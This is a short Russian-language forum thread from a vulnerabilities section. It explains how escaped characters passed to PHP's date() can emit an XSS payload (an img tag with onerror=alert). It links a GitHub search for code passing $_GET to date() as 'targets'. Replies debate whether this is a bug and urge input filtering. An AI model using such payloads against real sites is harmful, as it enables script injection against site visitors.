XSS через date() в PHP

Discussion in 'Уязвимости' started by VY_CMa, 16 Mar 2014.

  1. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Взято тут.
    В основе лежит отображение как-есть не подходящих символов в качестве аргументов функции.
    За счет экранирования можно добиться вывода чего угодно.
    Пэйлоад:
    Code:
    <?php 
    echo date('<\i\m\g \s\r\c\=\x \o\n\e\r\r\o\r=\a\l\e\r\t(\'\X\S\S\')\>');
    ?>
    Цели: https://github.com/search?q=date%28%24_GET&type=Code&ref=searchresults

    У автора в блоге кавычки сломанные.
    Пример:
    [​IMG]
    На заметку, сюда относятся еще и gmdate, и strftime и прочие, которые ретурнят строку.
     
    _________________________
    #1 VY_CMa, 16 Mar 2014
    Last edited: 16 Mar 2014
    3 people like this.
  2. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    забавный баг =)
     
  3. Kruzak

    Kruzak New Member

    Joined:
    21 Dec 2010
    Messages:
    126
    Likes Received:
    4
    Reputations:
    1
    это не баг

    какой смысл делать так "date($_GET" при программировании?

    любые GET/POST запросы должны проходить фильтрацию
     
    2 people like this.